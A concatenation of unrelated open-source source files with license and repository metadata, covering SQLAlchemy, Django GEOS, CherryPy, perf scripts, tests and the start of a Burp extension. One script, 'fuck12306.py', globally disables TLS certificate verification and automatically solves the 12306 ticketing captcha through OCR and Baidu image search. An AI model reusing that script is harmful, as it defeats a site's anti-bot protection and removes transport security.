create_simple_html_directive( "mobile-label", pre=dedent("""\ <p class="hidden-sm hidden-md hidden-lg center-block \ flocker-orange flocker-label"> """), post=dedent("""\ </p> """), )) parallel, ParallelDirective, parallel_setup = ( create_simple_html_directive( "parallel", pre=dedent("""\ <div class="col-md-6 bordered bordered-right \ bordered-bottom bordered-gray"> """), post=dedent("""\ </div> """), match_titles=True, )) logo, LogoDirective, logo_setup = ( create_simple_html_directive( "logo", pre=dedent("""\ <div class="flocker-logo pull-right"> """), post=dedent("""\ </div> """), has_content=False, )) def setup(app): """ Entry point for sphinx extension. """ directives.register_directive('empty-div', EmptyDiv) intro_text_setup(app) noscript_content_setup(app) tutorial_step_condensed_setup(app) tutorial_step_setup(app) mobile_label_setup(app) parallel_setup(app) logo_setup(app)
apache-2.0
CristianBB/SickRage
lib/sqlalchemy/sql/expression.py
78
5624
# sql/expression.py # Copyright (C) 2005-2014 the SQLAlchemy authors and contributors <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """Defines the public namespace for SQL expression constructs. Prior to version 0.9, this module contained all of "elements", "dml", "default_comparator" and "selectable". The module was broken up and most "factory" functions were moved to be grouped with their associated class. """ __all__ = [ 'Alias', 'ClauseElement', 'ColumnCollection', 'ColumnElement', 'CompoundSelect', 'Delete', 'FromClause', 'Insert', 'Join', 'Select', 'Selectable', 'TableClause', 'Update', 'alias', 'and_', 'asc', 'between', 'bindparam', 'case', 'cast', 'column', 'delete', 'desc', 'distinct', 'except_', 'except_all', 'exists', 'extract', 'func', 'modifier', 'collate', 'insert', 'intersect', 'intersect_all', 'join', 'label', 'literal', 'literal_column', 'not_', 'null', 'nullsfirst', 'nullslast', 'or_', 'outparam', 'outerjoin', 'over', 'select', 'subquery', 'table', 'text', 'tuple_', 'type_coerce', 'union', 'union_all', 'update'] from .visitors import Visitable from .functions import func, modifier, FunctionElement from ..util.langhelpers import public_factory from .elements import ClauseElement, ColumnElement,\ BindParameter, UnaryExpression, BooleanClauseList, \ Label, Cast, Case, ColumnClause, TextClause, Over, Null, \ True_, False_, BinaryExpression, Tuple, TypeClause, Extract, \ Grouping, not_, \ collate, literal_column, between,\ literal, outparam, type_coerce, ClauseList from .elements import SavepointClause, RollbackToSavepointClause, \ ReleaseSavepointClause from .base import ColumnCollection, Generative, Executable, \ PARSE_AUTOCOMMIT from .selectable import Alias, Join, Select, Selectable, TableClause, \ CompoundSelect, CTE, FromClause, FromGrouping, SelectBase, \ alias, GenerativeSelect, \ subquery, HasPrefixes, Exists, ScalarSelect, TextAsFrom from .dml import Insert, Update, Delete, UpdateBase, ValuesBase # factory functions - these pull class-bound constructors and classmethods # from SQL elements and selectables into public functions. This allows # the functions to be available in the sqlalchemy.sql.* namespace and # to be auto-cross-documenting from the function to the class itself. and_ = public_factory(BooleanClauseList.and_, ".expression.and_") or_ = public_factory(BooleanClauseList.or_, ".expression.or_") bindparam = public_factory(BindParameter, ".expression.bindparam") select = public_factory(Select, ".expression.select") text = public_factory(TextClause._create_text, ".expression.text") table = public_factory(TableClause, ".expression.table") column = public_factory(ColumnClause, ".expression.column") over = public_factory(Over, ".expression.over") label = public_factory(Label, ".expression.label") case = public_factory(Case, ".expression.case") cast = public_factory(Cast, ".expression.cast") extract = public_factory(Extract, ".expression.extract") tuple_ = public_factory(Tuple, ".expression.tuple_") except_ = public_factory(CompoundSelect._create_except, ".expression.except_") except_all = public_factory(CompoundSelect._create_except_all, ".expression.except_all") intersect = public_factory(CompoundSelect._create_intersect, ".expression.intersect") intersect_all = public_factory(CompoundSelect._create_intersect_all, ".expression.intersect_all") union = public_factory(CompoundSelect._create_union, ".expression.union") union_all = public_factory(CompoundSelect._create_union_all, ".expression.union_all") exists = public_factory(Exists, ".expression.exists") nullsfirst = public_factory(UnaryExpression._create_nullsfirst, ".expression.nullsfirst") nullslast = public_factory(UnaryExpression._create_nullslast, ".expression.nullslast") asc = public_factory(UnaryExpression._create_asc, ".expression.asc") desc = public_factory(UnaryExpression._create_desc, ".expression.desc") distinct = public_factory(UnaryExpression._create_distinct, ".expression.distinct") true = public_factory(True_._singleton, ".expression.true") false = public_factory(False_._singleton, ".expression.false") null = public_factory(Null._singleton, ".expression.null") join = public_factory(Join._create_join, ".expression.join") outerjoin = public_factory(Join._create_outerjoin, ".expression.outerjoin") insert = public_factory(Insert, ".expression.insert") update = public_factory(Update, ".expression.update") delete = public_factory(Delete, ".expression.delete") # internal functions still being called from tests and the ORM, # these might be better off in some other namespace from .base import _from_objects from .elements import _literal_as_text, _clause_element_as_expr,\ _is_column, _labeled, _only_column_elements, _string_or_unprintable, \ _truncated_label, _clone, _cloned_difference, _cloned_intersection,\ _column_as_key, _literal_as_binds, _select_iterables, \ _corresponding_column_or_error from .selectable import _interpret_as_from # old names for compatibility _Executable = Executable _BindParamClause = BindParameter _Label = Label _SelectBase = SelectBase _BinaryExpression = BinaryExpression _Cast = Cast _Null = Null _False = False_ _True = True_ _TextClause = TextClause _UnaryExpression = UnaryExpression _Case = Case _Tuple = Tuple _Over = Over _Generative = Generative _TypeClause = TypeClause _Extract = Extract _Exists = Exists _Grouping = Grouping _FromGrouping = FromGrouping _ScalarSelect = ScalarSelect
gpl-3.0
sharvanath/ModNet_Linux
tools/perf/scripts/python/event_analyzing_sample.py
4719
7393
# event_analyzing_sample.py: general event handler in python # # Current perf report is already very powerful with the annotation integrated, # and this script is not trying to be as powerful as perf report, but # providing end user/developer a flexible way to analyze the events other # than trace points. # # The 2 database related functions in this script just show how to gather # the basic information, and users can modify and write their own functions # according to their specific requirement. # # The first function "show_general_events" just does a basic grouping for all # generic events with the help of sqlite, and the 2nd one "show_pebs_ll" is # for a x86 HW PMU event: PEBS with load latency data. # import os import sys import math import struct import sqlite3 sys.path.append(os.environ['PERF_EXEC_PATH'] + \ '/scripts/python/Perf-Trace-Util/lib/Perf/Trace') from perf_trace_context import * from EventClass import * # # If the perf.data has a big number of samples, then the insert operation # will be very time consuming (about 10+ minutes for 10000 samples) if the # .db database is on disk. Move the .db file to RAM based FS to speedup # the handling, which will cut the time down to several seconds. # con = sqlite3.connect("/dev/shm/perf.db") con.isolation_level = None def trace_begin(): print "In trace_begin:\n" # # Will create several tables at the start, pebs_ll is for PEBS data with # load latency info, while gen_events is for general event. # con.execute(""" create table if not exists gen_events ( name text, symbol text, comm text, dso text );""") con.execute(""" create table if not exists pebs_ll ( name text, symbol text, comm text, dso text, flags integer, ip integer, status integer, dse integer, dla integer, lat integer );""") # # Create and insert event object to a database so that user could # do more analysis with simple database commands. # def process_event(param_dict): event_attr = param_dict["attr"] sample = param_dict["sample"] raw_buf = param_dict["raw_buf"] comm = param_dict["comm"] name = param_dict["ev_name"] # Symbol and dso info are not always resolved if (param_dict.has_key("dso")): dso = param_dict["dso"] else: dso = "Unknown_dso" if (param_dict.has_key("symbol")): symbol = param_dict["symbol"] else: symbol = "Unknown_symbol" # Create the event object and insert it to the right table in database event = create_event(name, comm, dso, symbol, raw_buf) insert_db(event) def insert_db(event): if event.ev_type == EVTYPE_GENERIC: con.execute("insert into gen_events values(?, ?, ?, ?)", (event.name, event.symbol, event.comm, event.dso)) elif event.ev_type == EVTYPE_PEBS_LL: event.ip &= 0x7fffffffffffffff event.dla &= 0x7fffffffffffffff con.execute("insert into pebs_ll values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (event.name, event.symbol, event.comm, event.dso, event.flags, event.ip, event.status, event.dse, event.dla, event.lat)) def trace_end(): print "In trace_end:\n" # We show the basic info for the 2 type of event classes show_general_events() show_pebs_ll() con.close() # # As the event number may be very big, so we can't use linear way # to show the histogram in real number, but use a log2 algorithm. # def num2sym(num): # Each number will have at least one '#' snum = '#' * (int)(math.log(num, 2) + 1) return snum def show_general_events(): # Check the total record number in the table count = con.execute("select count(*) from gen_events") for t in count: print "There is %d records in gen_events table" % t[0] if t[0] == 0: return print "Statistics about the general events grouped by thread/symbol/dso: \n" # Group by thread commq = con.execute("select comm, count(comm) from gen_events group by comm order by -count(comm)") print "\n%16s %8s %16s\n%s" % ("comm", "number", "histogram", "="*42) for row in commq: print "%16s %8d %s" % (row[0], row[1], num2sym(row[1])) # Group by symbol print "\n%32s %8s %16s\n%s" % ("symbol", "number", "histogram", "="*58) symbolq = con.execute("select symbol, count(symbol) from gen_events group by symbol order by -count(symbol)") for row in symbolq: print "%32s %8d %s" % (row[0], row[1], num2sym(row[1])) # Group by dso print "\n%40s %8s %16s\n%s" % ("dso", "number", "histogram", "="*74) dsoq = con.execute("select dso, count(dso) from gen_events group by dso order by -count(dso)") for row in dsoq: print "%40s %8d %s" % (row[0], row[1], num2sym(row[1])) # # This function just shows the basic info, and we could do more with the # data in the tables, like checking the function parameters when some # big latency events happen. # def show_pebs_ll(): count = con.execute("select count(*) from pebs_ll") for t in count: print "There is %d records in pebs_ll table" % t[0] if t[0] == 0: return print "Statistics about the PEBS Load Latency events grouped by thread/symbol/dse/latency: \n" # Group by thread commq = con.execute("select comm, count(comm) from pebs_ll group by comm order by -count(comm)") print "\n%16s %8s %16s\n%s" % ("comm", "number", "histogram", "="*42) for row in commq: print "%16s %8d %s" % (row[0], row[1], num2sym(row[1])) # Group by symbol print "\n%32s %8s %16s\n%s" % ("symbol", "number", "histogram", "="*58) symbolq = con.execute("select symbol, count(symbol) from pebs_ll group by symbol order by -count(symbol)") for row in symbolq: print "%32s %8d %s" % (row[0], row[1], num2sym(row[1])) # Group by dse dseq = con.execute("select dse, count(dse) from pebs_ll group by dse order by -count(dse)") print "\n%32s %8s %16s\n%s" % ("dse", "number", "histogram", "="*58) for row in dseq: print "%32s %8d %s" % (row[0], row[1], num2sym(row[1])) # Group by latency latq = con.execute("select lat, count(lat) from pebs_ll group by lat order by lat") print "\n%32s %8s %16s\n%s" % ("latency", "number", "histogram", "="*58) for row in latq: print "%32s %8d %s" % (row[0], row[1], num2sym(row[1])) def trace_unhandled(event_name, context, event_fields_dict): print ' '.join(['%s=%s'%(k,str(v))for k,v in sorted(event_fields_dict.items())])
gpl-2.0
saurabh6790/med_new_app
patches/august_2013/fix_fiscal_year.py
32
1254
import webnotes def execute(): create_fiscal_years() doctypes = webnotes.conn.sql_list("""select parent from tabDocField where (fieldtype="Link" and options='Fiscal Year') or (fieldtype="Select" and options='link:Fiscal Year')""") for dt in doctypes: date_fields = webnotes.conn.sql_list("""select fieldname from tabDocField where parent=%s and fieldtype='Date'""", dt) date_field = get_date_field(date_fields, dt) if not date_field: print dt, date_field else: webnotes.conn.sql("""update `tab%s` set fiscal_year = if(%s<='2013-06-30', '2012-2013', '2013-2014')""" % (dt, date_field)) def create_fiscal_years(): fiscal_years = { "2012-2013": ["2012-07-01", "2013-06-30"], "2013-2014": ["2013-07-01", "2014-06-30"] } for d in fiscal_years: webnotes.bean({ "doctype": "Fiscal Year", "year": d, "year_start_date": fiscal_years[d][0], "is_fiscal_year_closed": "No" }).insert() def get_date_field(date_fields, dt): date_field = None if date_fields: if "posting_date" in date_fields: date_field = "posting_date" elif "transaction_date" in date_fields: date_field = 'transaction_date' else: date_field = date_fields[0] # print dt, date_fields return date_field
agpl-3.0
tschneidereit/servo
tests/wpt/web-platform-tests/eventsource/resources/cors-cookie.py
248
1220
from datetime import datetime def main(request, response): last_event_id = request.headers.get("Last-Event-Id", "") ident = request.GET.first('ident', "test") cookie = "COOKIE" if ident in request.cookies else "NO_COOKIE" origin = request.GET.first('origin', request.headers["origin"]) credentials = request.GET.first('credentials', 'true') headers = [] if origin != 'none': headers.append(("Access-Control-Allow-Origin", origin)); if credentials != 'none': headers.append(("Access-Control-Allow-Credentials", credentials)); if last_event_id == '': headers.append(("Content-Type", "text/event-stream")) response.set_cookie(ident, "COOKIE") data = "id: 1\nretry: 200\ndata: first %s\n\n" % cookie elif last_event_id == '1': headers.append(("Content-Type", "text/event-stream")) long_long_time_ago = datetime.now().replace(year=2001, month=7, day=27) response.set_cookie(ident, "COOKIE", expires=long_long_time_ago) data = "id: 2\ndata: second %s\n\n" % cookie else: headers.append(("Content-Type", "stop")) data = "data: " + last_event_id + cookie + "\n\n"; return headers, data
mpl-2.0
q1ang/fuck12306
fuck12306.py
7
4461
#!/usr/bin/python # # FileName : fuck12306.py # # Author : MaoMao Wang <[email protected]> # # Created : Mon Mar 16 22:08:41 2015 by ShuYu Wang # # Copyright : Feather (c) 2015 # # Description : fuck fuck 12306 # # Time-stamp: <2015-03-17 10:57:44 andelf> from PIL import Image from PIL import ImageFilter import urllib import urllib2 import re import json import tempfile import os # hack CERTIFICATE_VERIFY_FAILED # https://github.com/mtschirs/quizduellapi/issues/2 import ssl if hasattr(ssl, '_create_unverified_context'): ssl._create_default_https_context = ssl._create_unverified_context UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36" # pic_url = "https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=login&rand=sjrand&0.21191171556711197" pic_url = "http://pic3.zhimg.com/76754b27584233c2287986dc0577854a_b.jpg" def get_img(): resp = urllib.urlopen(pic_url) raw = resp.read() tmp_jpg = tempfile.NamedTemporaryFile(prefix="fuck12306_").name + ".jpg" with open(tmp_jpg, 'wb') as fp: fp.write(raw) im = Image.open(tmp_jpg) try: os.remove(tmp_jpg) except OSError: pass return im def get_sub_img(im, x, y): assert 0 <= x <= 3 assert 0 <= y <= 2 WITH = HEIGHT = 68 left = 5 + (67 + 5) * x top = 41 + (67 + 5) * y right = left + 67 bottom = top + 67 return im.crop((left, top, right, bottom)) def baidu_stu_lookup(im): url = "http://stu.baidu.com/n/image?fr=html5&needRawImageUrl=true&id=WU_FILE_0&name=233.png&type=image%2Fpng&lastModifiedDate=Mon+Mar+16+2015+20%3A49%3A11+GMT%2B0800+(CST)&size=" tmp_jpg = tempfile.NamedTemporaryFile(prefix="fuck12306_").name + ".png" im.save(tmp_jpg) raw = open(tmp_jpg, 'rb').read() try: os.remove(tmp_jpg) except OSError: pass url = url + str(len(raw)) req = urllib2.Request(url, raw, {'Content-Type':'image/png', 'User-Agent':UA}) resp = urllib2.urlopen(req) resp_url = resp.read() # return a pure url url = "http://stu.baidu.com/n/searchpc?queryImageUrl=" + urllib.quote(resp_url) req = urllib2.Request(url, headers={'User-Agent':UA}) resp = urllib2.urlopen(req) html = resp.read() return baidu_stu_html_extract(html) def baidu_stu_html_extract(html): #pattern = re.compile(r'<script type="text/javascript">(.*?)</script>', re.DOTALL | re.MULTILINE) pattern = re.compile(r"keywords:'(.*?)'") matches = pattern.findall(html) if not matches: return '[UNKNOWN]' json_str = matches[0] json_str = json_str.replace('\\x22', '"').replace('\\\\', '\\') #print json_str result = [item['keyword'] for item in json.loads(json_str)] return '|'.join(result) if result else '[UNKNOWN]' def ocr_question_extract(im): # [email protected]:madmaze/pytesseract.git global pytesseract try: import pytesseract except: print "[ERROR] pytesseract not installed" return im = im.crop((127, 3, 260, 22)) im = pre_ocr_processing(im) # im.show() return pytesseract.image_to_string(im, lang='chi_sim').strip() def pre_ocr_processing(im): im = im.convert("RGB") width, height = im.size white = im.filter(ImageFilter.BLUR).filter(ImageFilter.MaxFilter(23)) grey = im.convert('L') impix = im.load() whitepix = white.load() greypix = grey.load() for y in range(height): for x in range(width): greypix[x,y] = min(255, max(255 + impix[x,y][0] - whitepix[x,y][0], 255 + impix[x,y][1] - whitepix[x,y][1], 255 + impix[x,y][2] - whitepix[x,y][2])) new_im = grey.copy() binarize(new_im, 150) return new_im def binarize(im, thresh=120): assert 0 < thresh < 255 assert im.mode == 'L' w, h = im.size for y in xrange(0, h): for x in xrange(0, w): if im.getpixel((x,y)) < thresh: im.putpixel((x,y), 0) else: im.putpixel((x,y), 255) if __name__ == '__main__': im = get_img() #im = Image.open("./tmp.jpg") print 'OCR Question:', ocr_question_extract(im) for y in range(2): for x in range(4): im2 = get_sub_img(im, x, y) result = baidu_stu_lookup(im2) print (y,x), result
mit
agconti/njode
env/lib/python2.7/site-packages/django/contrib/gis/geos/point.py
105
4400
from ctypes import c_uint from django.contrib.gis.geos.error import GEOSException from django.contrib.gis.geos.geometry import GEOSGeometry from django.contrib.gis.geos import prototypes as capi from django.utils import six from django.utils.six.moves import xrange class Point(GEOSGeometry): _minlength = 2 _maxlength = 3 def __init__(self, x, y=None, z=None, srid=None): """ The Point object may be initialized with either a tuple, or individual parameters. For Example: >>> p = Point((5, 23)) # 2D point, passed in as a tuple >>> p = Point(5, 23, 8) # 3D point, passed in with individual parameters """ if isinstance(x, (tuple, list)): # Here a tuple or list was passed in under the `x` parameter. ndim = len(x) coords = x elif isinstance(x, six.integer_types + (float,)) and isinstance(y, six.integer_types + (float,)): # Here X, Y, and (optionally) Z were passed in individually, as parameters. if isinstance(z, six.integer_types + (float,)): ndim = 3 coords = [x, y, z] else: ndim = 2 coords = [x, y] else: raise TypeError('Invalid parameters given for Point initialization.') point = self._create_point(ndim, coords) # Initializing using the address returned from the GEOS # createPoint factory. super(Point, self).__init__(point, srid=srid) def _create_point(self, ndim, coords): """ Create a coordinate sequence, set X, Y, [Z], and create point """ if ndim < 2 or ndim > 3: raise TypeError('Invalid point dimension: %s' % str(ndim)) cs = capi.create_cs(c_uint(1), c_uint(ndim)) i = iter(coords) capi.cs_setx(cs, 0, next(i)) capi.cs_sety(cs, 0, next(i)) if ndim == 3: capi.cs_setz(cs, 0, next(i)) return capi.create_point(cs) def _set_list(self, length, items): ptr = self._create_point(length, items) if ptr: capi.destroy_geom(self.ptr) self._ptr = ptr self._set_cs() else: # can this happen? raise GEOSException('Geometry resulting from slice deletion was invalid.') def _set_single(self, index, value): self._cs.setOrdinate(index, 0, value) def __iter__(self): "Allows iteration over coordinates of this Point." for i in xrange(len(self)): yield self[i] def __len__(self): "Returns the number of dimensions for this Point (either 0, 2 or 3)." if self.empty: return 0 if self.hasz: return 3 else: return 2 def _get_single_external(self, index): if index == 0: return self.x elif index == 1: return self.y elif index == 2: return self.z _get_single_internal = _get_single_external def get_x(self): "Returns the X component of the Point." return self._cs.getOrdinate(0, 0) def set_x(self, value): "Sets the X component of the Point." self._cs.setOrdinate(0, 0, value) def get_y(self): "Returns the Y component of the Point." return self._cs.getOrdinate(1, 0) def set_y(self, value): "Sets the Y component of the Point." self._cs.setOrdinate(1, 0, value) def get_z(self): "Returns the Z component of the Point." if self.hasz: return self._cs.getOrdinate(2, 0) else: return None def set_z(self, value): "Sets the Z component of the Point." if self.hasz: self._cs.setOrdinate(2, 0, value) else: raise GEOSException('Cannot set Z on 2D Point.') # X, Y, Z properties x = property(get_x, set_x) y = property(get_y, set_y) z = property(get_z, set_z) ### Tuple setting and retrieval routines. ### def get_coords(self): "Returns a tuple of the point." return self._cs.tuple def set_coords(self, tup): "Sets the coordinates of the point with the given tuple." self._cs[0] = tup # The tuple and coords properties tuple = property(get_coords, set_coords) coords = tuple
bsd-3-clause
deadRaccoons/TestAirlines
tabo/cherrypy/cherrypy/process/win32.py
68
5772
"""Windows service. Requires pywin32.""" import os import win32api import win32con import win32event import win32service import win32serviceutil from cherrypy.process import wspbus, plugins class ConsoleCtrlHandler(plugins.SimplePlugin): """A WSPBus plugin for handling Win32 console events (like Ctrl-C).""" def __init__(self, bus): self.is_set = False plugins.SimplePlugin.__init__(self, bus) def start(self): if self.is_set: self.bus.log('Handler for console events already set.', level=40) return result = win32api.SetConsoleCtrlHandler(self.handle, 1) if result == 0: self.bus.log('Could not SetConsoleCtrlHandler (error %r)' % win32api.GetLastError(), level=40) else: self.bus.log('Set handler for console events.', level=40) self.is_set = True def stop(self): if not self.is_set: self.bus.log('Handler for console events already off.', level=40) return try: result = win32api.SetConsoleCtrlHandler(self.handle, 0) except ValueError: # "ValueError: The object has not been registered" result = 1 if result == 0: self.bus.log('Could not remove SetConsoleCtrlHandler (error %r)' % win32api.GetLastError(), level=40) else: self.bus.log('Removed handler for console events.', level=40) self.is_set = False def handle(self, event): """Handle console control events (like Ctrl-C).""" if event in (win32con.CTRL_C_EVENT, win32con.CTRL_LOGOFF_EVENT, win32con.CTRL_BREAK_EVENT, win32con.CTRL_SHUTDOWN_EVENT, win32con.CTRL_CLOSE_EVENT): self.bus.log('Console event %s: shutting down bus' % event) # Remove self immediately so repeated Ctrl-C doesn't re-call it. try: self.stop() except ValueError: pass self.bus.exit() # 'First to return True stops the calls' return 1 return 0 class Win32Bus(wspbus.Bus): """A Web Site Process Bus implementation for Win32. Instead of time.sleep, this bus blocks using native win32event objects. """ def __init__(self): self.events = {} wspbus.Bus.__init__(self) def _get_state_event(self, state): """Return a win32event for the given state (creating it if needed).""" try: return self.events[state] except KeyError: event = win32event.CreateEvent(None, 0, 0, "WSPBus %s Event (pid=%r)" % (state.name, os.getpid())) self.events[state] = event return event def _get_state(self): return self._state def _set_state(self, value): self._state = value event = self._get_state_event(value) win32event.PulseEvent(event) state = property(_get_state, _set_state) def wait(self, state, interval=0.1, channel=None): """Wait for the given state(s), KeyboardInterrupt or SystemExit. Since this class uses native win32event objects, the interval argument is ignored. """ if isinstance(state, (tuple, list)): # Don't wait for an event that beat us to the punch ;) if self.state not in state: events = tuple([self._get_state_event(s) for s in state]) win32event.WaitForMultipleObjects( events, 0, win32event.INFINITE) else: # Don't wait for an event that beat us to the punch ;) if self.state != state: event = self._get_state_event(state) win32event.WaitForSingleObject(event, win32event.INFINITE) class _ControlCodes(dict): """Control codes used to "signal" a service via ControlService. User-defined control codes are in the range 128-255. We generally use the standard Python value for the Linux signal and add 128. Example: >>> signal.SIGUSR1 10 control_codes['graceful'] = 128 + 10 """ def key_for(self, obj): """For the given value, return its corresponding key.""" for key, val in self.items(): if val is obj: return key raise ValueError("The given object could not be found: %r" % obj) control_codes = _ControlCodes({'graceful': 138}) def signal_child(service, command): if command == 'stop': win32serviceutil.StopService(service) elif command == 'restart': win32serviceutil.RestartService(service) else: win32serviceutil.ControlService(service, control_codes[command]) class PyWebService(win32serviceutil.ServiceFramework): """Python Web Service.""" _svc_name_ = "Python Web Service" _svc_display_name_ = "Python Web Service" _svc_deps_ = None # sequence of service names on which this depends _exe_name_ = "pywebsvc" _exe_args_ = None # Default to no arguments # Only exists on Windows 2000 or later, ignored on windows NT _svc_description_ = "Python Web Service" def SvcDoRun(self): from cherrypy import process process.bus.start() process.bus.block() def SvcStop(self): from cherrypy import process self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) process.bus.exit() def SvcOther(self, control): process.bus.publish(control_codes.key_for(control)) if __name__ == '__main__': win32serviceutil.HandleCommandLine(PyWebService)
gpl-2.0
selenized/clausius
clausius/tests/test_isothermflash.py
2
2106
# -*- coding: utf-8 -*- """ Unit tests for the dewpoint module """ from numpy.testing import TestCase, run_module_suite, assert_allclose, assert_warns import numpy as np from clausius import Mixture from clausius.eos import PengRobinson from clausius.flash import isothermflash from _ts_data import hydrocarbon_testmix, nitrogen_testmix class TestIsoThermal(TestCase): """Tests for dewpoint.py""" def test_hydrocarbon_isothermal_flash(self): # Check the hydrocarbon testmix at 298K and 101.325kPa ittemp = 298 itpress = 101325 itq = 0.011049882630825729 xcomp = np.array([0.00087042658904387, 0.00494340180198168, 0.01768959253320333, 0.06173402524178485, 0.04350209491558151, 0.20699265644787712, 0.664267802470595]) ycomp = np.array([0.1444436094253236, 0.1443981006680385, 0.14425568308139217, 0.14376355943882044, 0.1439672710866151, 0.1421405346361831, 0.13703124166362632]) mdl = PengRobinson() mix = Mixture(hydrocarbon_testmix) # Isothermal flash with assert_warns(RuntimeWarning): # Initial quality estimate from Raoult's law should be <0 mix = isothermflash(mdl, mix, temperature=ittemp, pressure=itpress) assert_allclose(mix.quality, itq) assert_allclose(mix.composition['liquid'], xcomp) assert_allclose(mix.composition['vapor'], ycomp) def test_nitrogen_isothermal_flash(self): # Check the nitrogen-methane testmix at 100K and 101.325kPa ittemp = 100 itpress = 101325 itq = 0.28565156190658192 xcomp = np.array([0.07159525799452401, 0.9284047420054761]) ycomp = np.array([0.6713099814548212, 0.3286900185451789]) mdl = PengRobinson() mix = Mixture(nitrogen_testmix) # Isothermal flash mix = isothermflash(mdl, mix, temperature=ittemp, pressure=itpress) assert_allclose(mix.quality, itq) assert_allclose(mix.composition['liquid'], xcomp) assert_allclose(mix.composition['vapor'], ycomp) if __name__ == '__main__': run_module_suite()
unlicense
Just-D/chromium-1
tools/cr/cr/actions/installer.py
113
1642
# Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """A module for the Installer base class.""" import cr class Installer(cr.Action, cr.Plugin.Type): """Base class for implementing installers. Installer implementations must implement the Uninstall and Install methods. If the location into which targets are built is find for running them, then they do not actually have to do anything. """ SELECTOR_ARG = '--installer' SELECTOR = 'CR_INSTALLER' SELECTOR_HELP = 'Sets the installer to use.' @cr.Plugin.activemethod def Uninstall(self, targets, arguments): """Removes a target from it's installed location.""" raise NotImplementedError('Must be overridden.') @cr.Plugin.activemethod def Install(self, targets, arguments): """Installs a target somewhere so that it is ready to run.""" raise NotImplementedError('Must be overridden.') @cr.Plugin.activemethod def Reinstall(self, targets, arguments): """Force a target to install even if already installed. Default implementation is to do an Uninstall Install sequence. Do not call the base version if you implement a more efficient one. """ self.Uninstall(targets, []) self.Install(targets, arguments) class SkipInstaller(Installer): """An Installer the user chooses to bypass the install step of a command.""" @property def priority(self): return super(SkipInstaller, self).priority - 1 def Uninstall(self, targets, arguments): pass def Install(self, targets, arguments): pass
bsd-3-clause
cloudbase/lis-tempest
tempest/services/compute/json/hypervisor_client.py
4
3451
# Copyright 2013 IBM Corporation. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import json from tempest.api_schema.response.compute import hypervisors as common_schema from tempest.api_schema.response.compute.v2 import hypervisors as v2schema from tempest.common import rest_client from tempest import config CONF = config.CONF class HypervisorClientJSON(rest_client.RestClient): def __init__(self, auth_provider): super(HypervisorClientJSON, self).__init__(auth_provider) self.service = CONF.compute.catalog_type def get_hypervisor_list(self): """List hypervisors information.""" resp, body = self.get('os-hypervisors') body = json.loads(body) self.validate_response(common_schema.common_hypervisors_detail, resp, body) return resp, body['hypervisors'] def get_hypervisor_list_details(self): """Show detailed hypervisors information.""" resp, body = self.get('os-hypervisors/detail') body = json.loads(body) self.validate_response(common_schema.common_list_hypervisors_detail, resp, body) return resp, body['hypervisors'] def get_hypervisor_show_details(self, hyper_id): """Display the details of the specified hypervisor.""" resp, body = self.get('os-hypervisors/%s' % hyper_id) body = json.loads(body) self.validate_response(common_schema.common_show_hypervisor, resp, body) return resp, body['hypervisor'] def get_hypervisor_servers(self, hyper_name): """List instances belonging to the specified hypervisor.""" resp, body = self.get('os-hypervisors/%s/servers' % hyper_name) body = json.loads(body) self.validate_response(v2schema.hypervisors_servers, resp, body) return resp, body['hypervisors'] def get_hypervisor_stats(self): """Get hypervisor statistics over all compute nodes.""" resp, body = self.get('os-hypervisors/statistics') body = json.loads(body) self.validate_response(common_schema.hypervisor_statistics, resp, body) return resp, body['hypervisor_statistics'] def get_hypervisor_uptime(self, hyper_id): """Display the uptime of the specified hypervisor.""" resp, body = self.get('os-hypervisors/%s/uptime' % hyper_id) body = json.loads(body) self.validate_response(common_schema.hypervisor_uptime, resp, body) return resp, body['hypervisor'] def search_hypervisor(self, hyper_name): """Search specified hypervisor.""" resp, body = self.get('os-hypervisors/%s/search' % hyper_name) body = json.loads(body) self.validate_response(common_schema.common_hypervisors_detail, resp, body) return resp, body['hypervisors']
apache-2.0
PortSwigger/elastic-burp
ElasticBurp.py
2
15469
# ElasticBurp # Copyright 2016 Thomas Patzke <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from burp import IBurpExtender, IBurpExtenderCallbacks, IHttpListener, IRequestInfo, IParameter, IContextMenuFactory, ITab from javax.swing import JMenuItem, ProgressMonitor, JPanel, BoxLayout, JLabel, JTextField, JCheckBox, JButton, Box, JOptionPane from java.awt import Dimension from elasticsearch_dsl.connections import connections from elasticsearch_dsl import Index from elasticsearch.helpers import bulk from doc_HttpRequestResponse import DocHTTPRequestResponse from datetime import datetime from email.utils import parsedate_tz, mktime_tz from tzlocal import get_localzone import re try: tz = get_localzone() except: tz = None reDateHeader = re.compile("^Date:\s*(.*)$", flags=re.IGNORECASE) ### Config (TODO: move to config tab) ### ES_host = "localhost" ES_index = "wase-burp" Burp_Tools = IBurpExtenderCallbacks.TOOL_PROXY Burp_onlyResponses = True # Usually what you want, responses also contain requests ######################################### class BurpExtender(IBurpExtender, IHttpListener, IContextMenuFactory, ITab): def registerExtenderCallbacks(self, callbacks): self.callbacks = callbacks self.helpers = callbacks.getHelpers() callbacks.setExtensionName("Storing HTTP Requests/Responses into ElasticSearch") self.callbacks.registerHttpListener(self) self.callbacks.registerContextMenuFactory(self) self.out = callbacks.getStdout() self.lastTimestamp = None self.confESHost = self.callbacks.loadExtensionSetting("elasticburp.host") or ES_host self.confESIndex = self.callbacks.loadExtensionSetting("elasticburp.index") or ES_index self.confBurpTools = 